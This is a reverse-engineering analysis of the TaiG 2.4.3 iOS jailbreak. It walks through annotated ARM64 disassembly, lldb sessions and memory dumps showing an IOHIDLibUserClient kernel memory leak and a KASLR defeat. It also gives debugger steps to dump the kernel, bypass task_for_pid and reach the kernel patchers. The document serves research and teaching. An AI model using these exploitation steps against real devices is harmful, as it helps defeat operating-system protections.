_more_IOHID_fun: 10000eefc a9bc5ff8 STP X24, X23, [SP,#-64]! 10000ef00 a90157f6 STP X22, X21, [SP,#16] 10000ef04 a9024ff4 STP X20, X19, [SP,#32] 10000ef08 a9037bfd STP X29, X30, [SP,#48] 10000ef0c 9100c3fd ADD X29, SP, #48; ; R29 = SP + 0x30 10000ef10 d11043ff SUB X31, X31, #1040 10000ef14 aa0003f3 *MOV X19, X0 10000ef18 d503201f NOP 10000ef1c 580688b5 LDR X21, #13381; ; R21 = *0x10001c030libSystem.B.dylib::___stack_chk_guard 10000ef20 f94002a8 LDR X8, [X21, #0]; ; R8 = *(R21(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000ef24 f81c83a8 STUR X8, X29, #-56 ; ; *((0x100000cfeedfaff) + 0x0) *0x100000cfeedfaff = X8 0x3f3f3f3f 10000ef28 f9400276 LDR X22, [X19, #0]; ; R22 = *(R19(0x100000cfeedfaf7) + 0x0) = *(0x100000cfeedfaf7) 10000ef2c 910103f4 ADD X20, SP, #64; ; R20 = SP + 0x40 10000ef30 b27a0ff7 ORR X23, XZR, #0x3c0; ; ->R23 = 0x0 10000ef34 b27a0fe1 ORR X1, XZR, #0x3c0; ; ->R1 = 0x0 10000ef38 aa1403e0 *MOV X0, X20 10000ef3c 940027f8 BL libSystem.B.dylib::_bzero ; ; 0x100018f1c //
// Method 15 is getElements //
10000ef40 f90017f7 STR X23, [SP, #40] ; ? 10000ef44 b90027ff STR WZR, [SP, #36] ; ? 10000ef48 f9000fff STR XZR, [SP, #24] ; ? 10000ef4c a9037fff STP XZR, XZR, [SP,#48] 10000ef50 b94006c0 LDR W0, [X22, #4]; ..??? 10000ef54 9100a3e8 ADD X8, SP, #40; ; R8 = SP + 0x28 10000ef58 910063e2 ADD X2, SP, #24; ; R2 = SP + 0x18 10000ef5c 910093e7 ADD X7, SP, #36; ; R7 = SP + 0x24 10000ef60 32000fe1 ORR W1, WZR, #0xf; ; ->R1 = 0xf 10000ef64 320003e3 ORR W3, WZR, #0x1; ; ->R3 = 0x1 10000ef68 a90023f4 STP X20, X8, [SP,#0] 10000ef6c d2800004 MOVZ X4, #0; ; ->R4 = 0x0 10000ef70 d2800005 MOVZ X5, #0; ; ->R5 = 0x0 10000ef74 d2800006 MOVZ X6, #0; ; ->R6 = 0x0 10000ef78 9400275c BL IOKit::_IOConnectCallMethod ; ; 0x100018ce8 ; R0 = IOKit::_IOConnectCallMethod((mach port),15,0x100000cfeedfae7,1,NULL,0,NULL,0x100000cfeedfaf3,72057649854544631,? - 209494); ; 10000ef7c 35000600 CBNZ X0, 0x10000f03c ; 0x10000f03c 10000ef80 f94017e9 LDR X9, [X31, #40]; R9 = *(SP + 0x28)? 10000ef84 f101813f CMP X9, #96 10000ef88 540002a3 B.CC 0x10000efdc ; 0x10000efdc 10000ef8c d2800008 MOVZ X8, #0; ; ->R8 = 0x0 10000ef90 b201f3ea ORR X10, XZR, #0xaaaaaaaa; ; ->R10 = 0xaaaaaaaa 10000ef94 f295556a MOVK X10, #43691; ; R10 += aaab =.. 0xaaab5555 10000ef98 9bca7d29 2DO 10000ef9c d346fd29 LSL X9, X9, #63 10000efa0 9101028a ADD X10, X20, #64; ; ..R10 = R20 (0x100000cfeedfb0f) + 0x40 = 0x100000cfeedfb4f 10000efa4 b940014b LDR W11, [X10, #0]; ; R11 = *(R10(0x100000cfeedfb4f) + 0x0) = *(0x100000cfeedfb4f) 10000efa8 7100097f CMP W11, #2 10000efac 54000081 B.NE 0x10000efbc ; 0x10000efbc 10000efb0 b85c014b LDUR X11, X10, #-64 ; ; *((0x100000cfeedfb4f) + 0x0) *0x100000cfeedfb4f = X11 0x3f3f3f3f 10000efb4 f9001feb STR X11, [SP, #56] ; ? 10000efb8 14000005 B 0x10000efcc ; 0x10000efcc 10000efbc 7100057f CMP W11, #1 10000efc0 54000061 B.NE 0x10000efcc ; 0x10000efcc 10000efc4 b85c014b LDUR X11, X10, #-64 ; ; *((0x100000cfeedfb4f) + 0x0) *0x100000cfeedfb4f = X11 0x3f3f3f3f 10000efc8 f9001beb STR X11, [SP, #48] ; ? 10000efcc 91000508 ADD X8, X8, #1; ; ..R8 = R8 (0x0) + 0x1 = 0x1 10000efd0 9101814a ADD X10, X10, #96; ; ..R10 = R10 (0x100000cfeedfb4f) + 0x60 = 0x100000cfeedfbaf 10000efd4 eb09011f CMP X8, X9 10000efd8 54fffe63 B.CC 0x10000efa4 ; 0x10000efa4 10000efdc b9400a68 LDR W8, [X19, #8]; ; R8 = *(R19(0x100000cfeedfaf7) + 0x8) = *(0x100000cfeedfaff) => 0x100000cfeedfacf 10000efe0 34000208 CBZ X8, 0x10000f020 ; 0x10000f020 10000efe4 97fffb32 BL _returns_global+0x180 ("IOPMrootDomain") ; ; 0x10000dcac 10000efe8 97ffe66d BL _opens_IOService ; ; 0x10000899c 10000efec b81c03a0 STUR X0, X29, #-64 ; ; *((0x100000cfeedfaff) + 0x0) *0x100000cfeedfaff = X0 (?) 10000eff0 b9400a68 LDR W8, [X19, #8]; ; R8 = *(R19(0x100000cfeedfaf7) + 0x8) = *(0x100000cfeedfaff) => 0x100000cfeedfacf 10000eff4 b81c43a8 STUR X8, X29, #-60 ; ; *((0x100000cfeedfaff) + 0x0) *0x100000cfeedfaff = X8 (?) 10000eff8 b24003f4 ORR X20, XZR, #0x1; ; ->R20 = 0x1 10000effc d10103b7 SUB X23, X29, #64 10000f000 14000002 B 0x10000f008 ; 0x10000f008 10000f004 d1000694 SUB X20, X20, #1 10000f008 b8747ae0 LDR W0, [X23, X20 ...] 10000f00c 94002779 BL IOKit::_IOServiceClose ; ; 0x100018df0 10000f010 b8347aff STR X31, [X23, xX20] ..; ; *((0x0) + 0x0) *0x0 = X31 (?) 10000f014 7100069f CMP W20, #1 10000f018 54ffff6a B.GE 0x10000f004 ; 0x10000f004 //
// Scalar method 10 is _updateElementValues //
10000f01c b9000a7f STR WZR, [X19, #8]; ; *((0x100000cfeedfaf7) + 0x8) *0x100000cfeedfaff = X31 (?) 10000f020 b94006c0 LDR W0, [X22, #4]; ..??? 10000f024 9100c3e2 ADD X2, SP, #48; ; R2 = SP + 0x30 10000f028 910093e5 ADD X5, SP, #36; ; R5 = SP + 0x24 10000f02c 52800141 MOVZ W1, #10; ; ->R1 = 0xa 10000f030 321f03e3 ORR W3, WZR, #0x2; ; ->R3 = 0x2 10000f034 d2800004 MOVZ X4, #0; ; ->R4 = 0x0 10000f038 9400272f BL IOKit::_IOConnectCallScalarMethod ; ; 0x100018cf4 ; R0 = IOKit::_IOConnectCallScalarMethod((mach port),10,0x100000cfeedfaff,2,NULL,0x100000cfeedfaf3); ; 10000f03c f94002a8 LDR X8, [X21, #0]; ; R8 = *(R21(0x2410000100041c80) + 0x0) = *(0x2410000100041c80) 10000f040 f85c83a9 LDUR X9, X29, #-56 ; ; *((0x100000cfeedfaff) + 0x0) *0x100000cfeedfaff = X9 (?) 10000f044 cb090108 SUB X8, X8, X9 10000f048 b50000e8 CBNZ X8, 0x10000f064 ; 0x10000f064 10000f04c d100c3bf SUB X31, X29, #48 10000f050 a9437bfd LDP X29, X30, [SP,#48] 10000f054 a9424ff4 LDP X20, X19, [SP,#32] 10000f058 a94157f6 LDP X22, X21, [SP,#16] 10000f05c a8c45ff8 LDP X24, X23, [SP],#64 10000f060 d65f03c0 RET 10000f064 940027a2 BL libSystem.B.dylib::___stack_chk_fail ; ; 0x100018eec
The function calls two methods of IOHIDLibUserClient
- #15 and #10. Looking at the source, we find these are:
enum IOHIDLibUserClientCommandCodes { kIOHIDLibUserClientDeviceIsValid, kIOHIDLibUserClientOpen, kIOHIDLibUserClientClose, kIOHIDLibUserClientCreateQueue, kIOHIDLibUserClientDisposeQueue, kIOHIDLibUserClientAddElementToQueue, kIOHIDLibUserClientRemoveElementFromQueue, kIOHIDLibUserClientQueueHasElement, kIOHIDLibUserClientStartQueue, kIOHIDLibUserClientStopQueue, kIOHIDLibUserClientUpdateElementValues, /* 10 */ kIOHIDLibUserClientPostElementValues, kIOHIDLibUserClientGetReport, kIOHIDLibUserClientSetReport, kIOHIDLibUserClientGetElementCount, kIOHIDLibUserClientGetElements, /* 15 */ kIOHIDLibUserClientSetQueueAsyncPort, kIOHIDLibUserClientNumCommands };
So, we have calls to GetElements
followed by calls to UpdateElementValues
- and we can mess with the elements in any way we see fit - We crafted the report descriptor, and we control the elements. From there, the road is short to arbitrary kernel memory disclosure*. We try the attack up to 10 times, and allow 9 x 2 seconds in each. We also call method #3 of the IOHIDUserClient (PostReportResult) in between. In practice, this succeeds on the first or second try. When it does, we can return to the exploit main (#123) and receive a mach message from the port using #46, which is the counterpart of #47 - where the latter was send only, this is receive only.
when 46 returns its buffer holds:
(lldb) mem read 0x16fd83f98
0x16fd83f98: 00 11 00 80 5c 00 00 00 00 00 00 00 03 72 0a 00 ....\........r..
0x16fd83fa8: 00 00 00 00 00 00 00 00 04 00 00 00 00 00 35 00 ..............5.
0x16fd83fb8: 01 00 00 00 00 00 00 01 a8 00 00 00 00 c0 34 00 ..............4.
0x16fd83fc8: 01 00 00 00 00 00 00 01 a8 00 00 00 00 80 34 00 ..............4.
0x16fd83fd8: 01 00 00 00 00 00 00 01 a8 00 00 00 00 40 34 00 .............@4.
0x16fd83fe8: 01 00 00 00 00 00 00 01 a8 00 00 00 00 00 00 00 ................
0x16fd83ff8: 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
0x16fd84008: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Then the call to memcpy obtains kernel memory:
(lldb) mem read $x1 0x1003c41a8: 70 eb ea 0b 80 ff ff ff 02 00 02 00 00 00 00 00 p............... 0x1003c41b8: 60 8a 2e 90 80 ff ff ff 00 18 2f 90 80 ff ff ff `........./..... 0x1003c41c8: 80 18 2f 90 80 ff ff ff c0 d9 2e 90 80 ff ff ff ../............. 0x1003c41d8: 00 20 58 8d 80 ff ff ff a1 50 00 00 00 00 00 00 . X......P...... 0x1003c41e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c41f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4208: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4218: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4228: 00 00 00 00 00 00 00 00 50 8a 2e 90 80 ff ff ff ........P....... 0x1003c4238: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4248: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4258: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4268: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4278: 00 00 00 00 00 00 00 00 00 20 58 8d 80 ff ff ff ......... X..... 0x1003c4288: a0 98 2f 8e 80 ff ff ff c0 ce 05 8e 80 ff ff ff ../............. 0x1003c4298: 00 ab 05 8e 80 ff ff ff ef be ad de ef be ad de ................ 0x1003c42a8: 70 eb ea 0b 80 ff ff ff 02 00 02 00 00 00 00 00 p............... 0x1003c42b8: 90 8a 2e 90 80 ff ff ff 80 19 2f 90 80 ff ff ff ........../..... 0x1003c42c8: 00 1a 2f 90 80 ff ff ff 40 da 2e 90 80 ff ff ff ../.....@....... 0x1003c42d8: 00 20 58 8d 80 ff ff ff 9f 50 00 00 00 00 00 00 . X......P...... 0x1003c42e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c42f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4308: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4318: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4328: 00 00 00 00 00 00 00 00 80 8a 2e 90 80 ff ff ff ................ 0x1003c4338: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4348: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4358: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4368: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4378: 00 00 00 00 00 00 00 00 00 20 58 8d 80 ff ff ff ......... X..... 0x1003c4388: a0 98 2f 8e 80 ff ff ff 80 36 07 8e 80 ff ff ff ../......6...... 0x1003c4398: 00 9b 09 8e 80 ff ff ff ef be ad de ef be ad de ................ 0x1003c43a8: 70 eb ea 0b 80 ff ff ff 02 00 02 00 00 00 00 00 p............... 0x1003c43b8: c0 8a 2e 90 80 ff ff ff 00 1b 2f 90 80 ff ff ff ........../..... 0x1003c43c8: 80 1b 2f 90 80 ff ff ff c0 da 2e 90 80 ff ff ff ../............. 0x1003c43d8: 00 20 58 8d 80 ff ff ff 9d 50 00 00 00 00 00 00 . X......P...... 0x1003c43e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c43f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4408: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4418: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4428: 00 00 00 00 00 00 00 00 b0 8a 2e 90 80 ff ff ff ................ 0x1003c4438: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4448: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4458: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4468: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4478: 00 00 00 00 00 00 00 00 00 20 58 8d 80 ff ff ff ......... X..... 0x1003c4488: a0 98 2f 8e 80 ff ff ff 00 ce 27 8e 80 ff ff ff ../.......'..... 0x1003c4498: 00 db 26 8e 80 ff ff ff ef be ad de ef be ad de ..&............. 0x1003c44a8: 70 eb ea 0b 80 ff ff ff 02 00 02 00 00 00 00 00 p............... 0x1003c44b8: f0 8a 2e 90 80 ff ff ff 80 1c 2f 90 80 ff ff ff ........../..... 0x1003c44c8: 00 1d 2f 90 80 ff ff ff 40 db 2e 90 80 ff ff ff ../.....@....... 0x1003c44d8: 00 20 58 8d 80 ff ff ff 9b 50 00 00 00 00 00 00 . X......P...... 0x1003c44e8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c44f8: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4508: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4518: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................ 0x1003c4528: 00 00 00 00 00 00 00 00 e0 8a 2e 90 80 ff ff ff ................ 0x1003c4538: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
Notice the nice structure, with the chunks (ef be ad de ef be ad de) exactly 0x100 apart. But we don't need all this memory - The first value (in our case - 0xffffff800beaeb70
is sufficient to figure out KASLR by using Function 141, as explained previously. If you do the math in this case, you'll see the kernel has been slid to 0xffffff800ba02000
Do It Yourself! Your Own ARM64 kernel dump!
After we've defeated ASLR, we can focus our attention on getting kernel memory, using function #122. If your device restarted by now and/or you want to pick up exactly at this point, setting a breakpoint on 122, to get:
(lldb) bt * thread #1: tid = 0x0996, 0x000000010006e38c taig.2.4.3`___lldb_unnamed_function122$$taig.2.4.3, queue = 'com.apple.main-thread', stop reason = breakpoint 8.1 * frame #0: 0x000000010006e38c taig.2.4.3`___lldb_unnamed_function122$$taig.2.4.3 frame #1: 0x000000010006cbfc taig.2.4.3`___lldb_unnamed_function88$$taig.2.4.3 + 80 frame #2: 0x000000010006e958 taig.2.4.3`___lldb_unnamed_function123$$taig.2.4.3 + 1420 frame #3: 0x000000010006bd74 taig.2.4.3`___lldb_unnamed_function80$$taig.2.4.3 + 336 frame #4: 0x0000000194566a08 libdyld.dylib`start + 4
in other words, 80 (entry point) calls exploit (123) which calls _mess_with_kernel_mem(88) which calls 122. 88 does this for a reason:
_mess_with_kernel_mem(88): 10000cbac a9bd57f6 STP X22, X21, [SP,#-48]! 10000cbb0 a9014ff4 STP X20, X19, [SP,#16] 10000cbb4 a9027bfd STP X29, X30, [SP,#32] 10000cbb8 910083fd ADD X29, SP, #32; ; R29 = SP + 0x20 10000cbbc aa0003f3 *MOV X19, X0 10000cbc0 f9402268 LDR X8, [X19, #64]; ..??? 10000cbc4 b50002a8 CBNZ X8, 0x10000cc18 ; 0x10000cc18 10000cbc8 94000b8f BL _get_kernel_last ; ; 0x10000fa04 10000cbcc aa0003f4 *MOV X20, X0 10000cbd0 94000b85 BL _get_kernel_base ; ; 0x10000f9e4 10000cbd4 cb000294 SUB X20, X20, X0 10000cbd8 aa1403e0 *MOV X0, X20 10000cbdc 94003142 BL libSystem.B.dylib::_malloc ; ; 0x1000190e4 10000cbe0 aa0003f5 *MOV X21, X0 10000cbe4 94000b80 BL _get_kernel_base ; ; 0x10000f9e4 fetch_kernel_memory: //
// (sp, malloced_memory,kernel_base, kernel_size) //
10000cbe8 aa0003e2 *MOV X2, X0 10000cbec aa1303e0 *MOV X0, X19 10000cbf0 aa1503e1 *MOV X1, X21 10000cbf4 aa1403e3 *MOV X3, X20 10000cbf8 940005e5 BL _calls_gets_kernel_memory(122) ; ; 0x10000e38c 10000cbfc 7100001f CMP W0, #0 10000cc00 5400016b B.LT 0x10000cc2c ; 0x10000cc2c 10000cc04 a9045275 STP X21, X20, [X19,#64] 10000cc08 91028260 ADD X0, X19, #160; ; ..R0 = R19 (0x0) + 0xa0 = 0xa0 10000cc0c aa1503e1 *MOV X1, X21 10000cc10 aa1403e2 *MOV X2, X20 10000cc14 97fffdb1 BL _calls_kernel_patchers(83) ; ; 0x10000c2d8 10000cc18 52800000 MOVZ W0, #0; ; ->R0 = 0x0 out: 10000cc1c a9427bfd LDP X29, X30, [SP,#32] 10000cc20 a9414ff4 LDP X20, X19, [SP,#16] 10000cc24 a8c357f6 LDP X22, X21, [SP],#48 10000cc28 d65f03c0 RET 10000cc2c b4000075 CBZ X21, 0x10000cc38 ; 0x10000cc38 10000cc30 aa1503e0 *MOV X0, X21 10000cc34 940030e1 BL libSystem.B.dylib::_free ; ; 0x100018fb8 10000cc38 12800000 MOVN X0, #0; ; ->R0 = 0xffffffffffffffff 10000cc3c 17fffff8 B out ; 0x10000cc1c
That is, it gets the kernel memory with the intent of running patches on it.
To get memory, #122 calls #120, which actually works very similarly to #124 (implying a cut/paste, perhaps?), with the only real difference being a call to IOConnectTrap1
which doesn't get invoked normally. The actual point the memory is obtained is at 10000e1e8
, and here's a cool trick you can do:
# Breakpoint - at the kernel memory reader (lldb) b taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 Breakpoint 1: where = taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3, address = 0x000000010000e01c # The usual breakpoint to get TaiG to rejailbreak (lldb) b task_for_pid Breakpoint 2: no locations (pending). WARNING: Unable to resolve breakpoint to any actual locations.(lldb) r Process 287 launched: '/taig/taig.2.4.3' (arm64) Process 287 stopped * thread #1: tid = 0x099e, 0x0000000195a84e94 libsystem_kernel.dylib`task_for_pid, queue = 'com.apple.main-thread', stop reason = breakpoint 2.1 frame #0: 0x0000000195a84e94 libsystem_kernel.dylib`task_for_pid libsystem_kernel.dylib`task_for_pid: -> 0x195a84e94: movn x16, #44 0x195a84e98: svc #128 0x195a84e9c: ret # Usual workaround: (lldb) reg write pc 0x195a84e9c (lldb) c ... .. .. Process 287 resuming Process 287 stopped * thread #1: tid = 0x099e, 0x00000001000ba1e8 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1 frame #0: 0x00000001000ba1e8 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460: -> 0x1000ba1e8: mov x0, x20 0x1000ba1ec: mov x1, x22 0x1000ba1f0: mov x2, x19 0x1000ba1f4: bl 0x1000c50fc ; symbol stub for: memcpy # Set breakpoint at 0x1000e1e8 (accommodating slide) (lldb) b 0x1000ba1e8 Breakpoint 3: where = taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460, address = 0x00000001000ba1e8 (lldb) c Process 287 resuming Process 287 stopped * thread #1: tid = 0x099e, 0x00000001000ba1e8 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460, queue = 'com.apple.main-thread', stop reason = breakpoint 3.1 frame #0: 0x00000001000ba1e8 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460 taig.2.4.3`___lldb_unnamed_function120$$taig.2.4.3 + 460: -> 0x1000ba1e8: mov x0, x20 0x1000ba1ec: mov x1, x22 0x1000ba1f0: mov x2, x19 0x1000ba1f4: bl 0x1000c50fc ; symbol stub for: memcpy (lldb) reg read x20 x22 x19 x20 = 0x0000000100310000 # Empty (copy to here) x22 = 0x00000001016c4000 # Surprise! x19 = 0x00000000013a5000 # a lot of bytes here # Lookie here :-) (lldb) mem read $x22 0x1016c4000: cf fa ed fe 0c 00 00 01 00 00 00 00 02 00 00 00 ................ 0x1016c4010: 0f 00 00 00 f0 0a 00 00 01 00 20 00 00 00 00 00 .......... ..... 0x1016c4020: 19 00 00 00 38 01 00 00 5f 5f 54 45 58 54 00 00 ....8...__TEXT.. 0x1016c4030: 00 00 00 00 00 00 00 00 00 20 20 0a 80 ff ff ff ......... ..... # Make your own kernel dump (lldb) mem read -b $x22 -r -c 0x00000000013a5000 -o /tmp/dump 20598784 bytes written to '/tmp/dump'
And if you get that dump.. examine it with Jtool and see:
Phontifex:~ root# jtool -l /tmp/dump
LC 00: LC_SEGMENT_64 Mem: 0xffffff800a202000-0xffffff800a696000 __TEXT
Mem: 0xffffff800a203000-0xffffff800a637634 __TEXT.__text (Normal)
Mem: 0xffffff800a637640-0xffffff800a65d738 __TEXT.__const
Mem: 0xffffff800a65d738-0xffffff800a695b10 __TEXT.__cstring (C-String Literals)
LC 01: LC_SEGMENT_64 Mem: 0xffffff800a696000-0xffffff800a750000 __DATA
Mem: 0xffffff800a696000-0xffffff800a696208 __DATA.__mod_init_func (Module Init Function Ptrs)
Mem: 0xffffff800a696208-0xffffff800a696408 __DATA.__mod_term_func (Module Termination Function Ptrs)
Mem: 0xffffff800a698000-0xffffff800a6b5650 __DATA.__const
Mem: 0xffffff800a6b8000-0xffffff800a6e54d8 __DATA.__data
Mem: 0xffffff800a6e54d8-0xffffff800a6e7188 __DATA.__sysctl_set
Mem: 0xffffff800a6e8000-0xffffff800a74d620 __DATA.__bss (Zero Fill)
Mem: 0xffffff800a74e000-0xffffff800a74f118 __DATA.__common (Zero Fill)
LC 02: LC_SEGMENT_64 Mem: 0xffffff800a750000-0xffffff800a752000 __KLD
Mem: 0xffffff800a750000-0xffffff800a751250 __KLD.__text (Normal)
Mem: 0xffffff800a751250-0xffffff800a751958 __KLD.__cstring (C-String Literals)
Mem: 0xffffff800a751958-0xffffff800a7519c0 __KLD.__const
Mem: 0xffffff800a7519c0-0xffffff800a7519c8 __KLD.__mod_init_func (Module Init Function Ptrs)
Mem: 0xffffff800a7519c8-0xffffff800a7519d0 __KLD.__mod_term_func (Module Termination Function Ptrs)
Mem: 0xffffff800a7519d0-0xffffff800a7519d1 __KLD.__bss (Zero Fill)
LC 03: LC_SEGMENT_64 Mem: 0xffffff800a752000-0xffffff800a753000 __LAST
Mem: 0xffffff800a752000-0xffffff800a752008 __LAST.__mod_init_func (Module Init Function Ptrs)
Mem: 0xffffff800a752008-0xffffff800a752008 __LAST.__last (Zero Fill)
LC 04: LC_SEGMENT_64 Mem: 0xffffff800a7ab000-0xffffff800b521000 __PRELINK_TEXT
Mem: 0xffffff800a7ab000-0xffffff800b521000 __PRELINK_TEXT.__text
LC 05: LC_SEGMENT_64 Mem: 0xffffff800a753000-0xffffff800a753000 __PRELINK_STATE
Mem: 0xffffff800a753000-0xffffff800a753000 __PRELINK_STATE.__kernel
Mem: 0xffffff800a753000-0xffffff800a753000 __PRELINK_STATE.__kexts
LC 06: LC_SEGMENT_64 Mem: 0xffffff800b521000-0xffffff800b5a7000 __PRELINK_INFO
Mem: 0xffffff800b521000-0xffffff800b5a67b7 __PRELINK_INFO.__info
LC 07: LC_SEGMENT_64 Mem: 0xffffff800a753000-0xffffff800a7aab70 __LINKEDIT
LC 08: LC_SYMTAB
Symbol table is at offset 0x511e38 (5316152), 4267 entries
String table is at offset 0x5228e8 (5384424), 127624 bytes
LC 09: LC_DYSYMTAB No local symbols
4267 external symbols at index 0
No undefined symbols
No TOC
No modtab
No Indirect symbols
LC 10: LC_UUID UUID: 5682267E-8E60-3FB0-8F71-C58CE2DBCF4D
LC 11: LC_VERSION_MIN_IPHONEOS Minimum iOS version: 8.4.0
LC 12: LC_SOURCE_VERSION Source Version: 2784.30.7.0.0
LC 13: LC_UNIXTHREAD Entry Point: 0xffffff80020df058
LC 14: LC_FUNCTION_STARTS Offset: 5300104, Size: 16048 (0x50df88-0x511e38) with 0 functions
You can now figure out the mystery address used to leak KASLR:
Disassembling from file offset 0xacb70, Address 0xffffff800a2aeb70 to next symbol
ffffff800a2aeb70 LDR W8, [X19, #52]..??
ffffff800a2aeb74 ORR W8, W8, #0x20000
ffffff800a2aeb78 STR W8, [X19, #52]; *((0x0) + 0x34) *0x34 = X8 0x3f3f3f3f
ffffff800a2aeb7c ADRP x8, 1157; ->R8 = 0xffffff800a733000
ffffff800a2aeb80 ADD X8, X8, #1744; ..R8 = R8 (0xffffff800a733000) + 0x6d0 = 0xffffff800a7
336d0
ffffff800a2aeb84 LDR W9, [X8, #1800]; R9 = *(R8(0xffffff800a7336d0) + 0x708) = *(0xffffff8
00a733dd8)
ffffff800a2aeb88 ADD W9, W9, #1; ..R9 = R9 (0x3f3f3f3f) + 0x1 = 0x3f3f3f40
ffffff800a2aeb8c STR W9, [X8, #1800]; *((0xffffff800a7336d0) + 0x708) *0xffffff800a733dd8 = X9 0x3f3f3f40
ffffff800a2aeb90 LDR W9, [X8, #1640]; R9 = *(R8(0xffffff800a7336d0) + 0x668) = *(0xffffff800a733d38)
ffffff800a2aeb94 ADD W9, W9, #1; ..R9 = R9 (0x3f3f3f3f) + 0x1 = 0x3f3f3f40
ffffff800a2aeb98 STR W9, [X8, #1640]; *((0xffffff800a7336d0) + 0x668) *0xffffff800a733d38 = X9 0x3f3f3f40
ffffff800a2aeb9c SUB X31, X29, #48
ffffff800a2aeb9c SUB X31, X29, #48
ffffff800a2aeba0 LDP X29, X30, [SP,#48]
ffffff800a2aeba4 LDP X20, X19, [SP,#32]
ffffff800a2aeba8 LDP X22, X21, [SP,#16]
ffffff800a2aebac LDP X24, X23, [SP],#64
ffffff800a2aebb0 RET
# Note this function
ffffff800a2aebb4 STR XZR, [SP, #0]; *(SP + 0x0) = X31 0x0
ffffff800a2aebb8 ADRP x8, 958; ->R8 = 0xffffff800a66c000 "moryCursor"
ffffff800a2aebbc ADD X8, X8, #1410; ..R8 = R8 (0xffffff800a66c000) + 0x582 = 0xffffff800a66c582 ""Invalid queue element %p""
ffffff800a2aebc0 MOV X0, X8
ffffff800a2aebc4 BL 0xffffff800a22247c ; 0xffffff800a22247c
ffffff800a2aebc8 B 0xffffff800a2ae928 ; 0xffffff800a2ae928
# Look for that string in the sources... and...
Zephyr:xnu-2782.1.97 morpheus$ find . -type f | xargs grep "Invalid queue element %p"
./osfmk/kern/queue.h: panic("Invalid queue element %p", elt);
That 0xffffff800a22247c
is panic, which has never failed to provide a ton of symbolication hints :-). The panic is coming from the __QUEUE_ELT_VALIDATE
macro. You can figure out the rest.
Kernel patching, etc
Kernel patches are handled by function #83, called shortly after #122 in mess_with_kernel_mem(88). The patches are handled thus:
_calls_kernel_patchers(83): //
// kernel patchers are called with (kernel base, kernel_mem_copied_to_user, kernel_size, //
10000c2d8 a9bc5ff8 STP X24, X23, [SP,#-64]! 10000c2dc a90157f6 STP X22, X21, [SP,#16] 10000c2e0 a9024ff4 STP X20, X19, [SP,#32] 10000c2e4 a9037bfd STP X29, X30, [SP,#48] 10000c2e8 9100c3fd ADD X29, SP, #48; ; R29 = SP + 0x30 10000c2ec aa0203f6 *MOV X22, X2 10000c2f0 aa0103f3 *MOV X19, X1 10000c2f4 aa0003f4 *MOV X20, X0 10000c2f8 94000dbb BL _get_kernel_base ; ; 0x10000f9e4 10000c2fc aa0003f5 *MOV X21, X0 10000c300 d2800017 MOVZ X23, #0; ; ->R23 = 0x0 10000c304 93407ed6 ASR X22, X22, #0 //
// This calls the kernel patchers from 0x10001c728, starting with 0x100006ff0:offsets stored 16fd4fa10 //
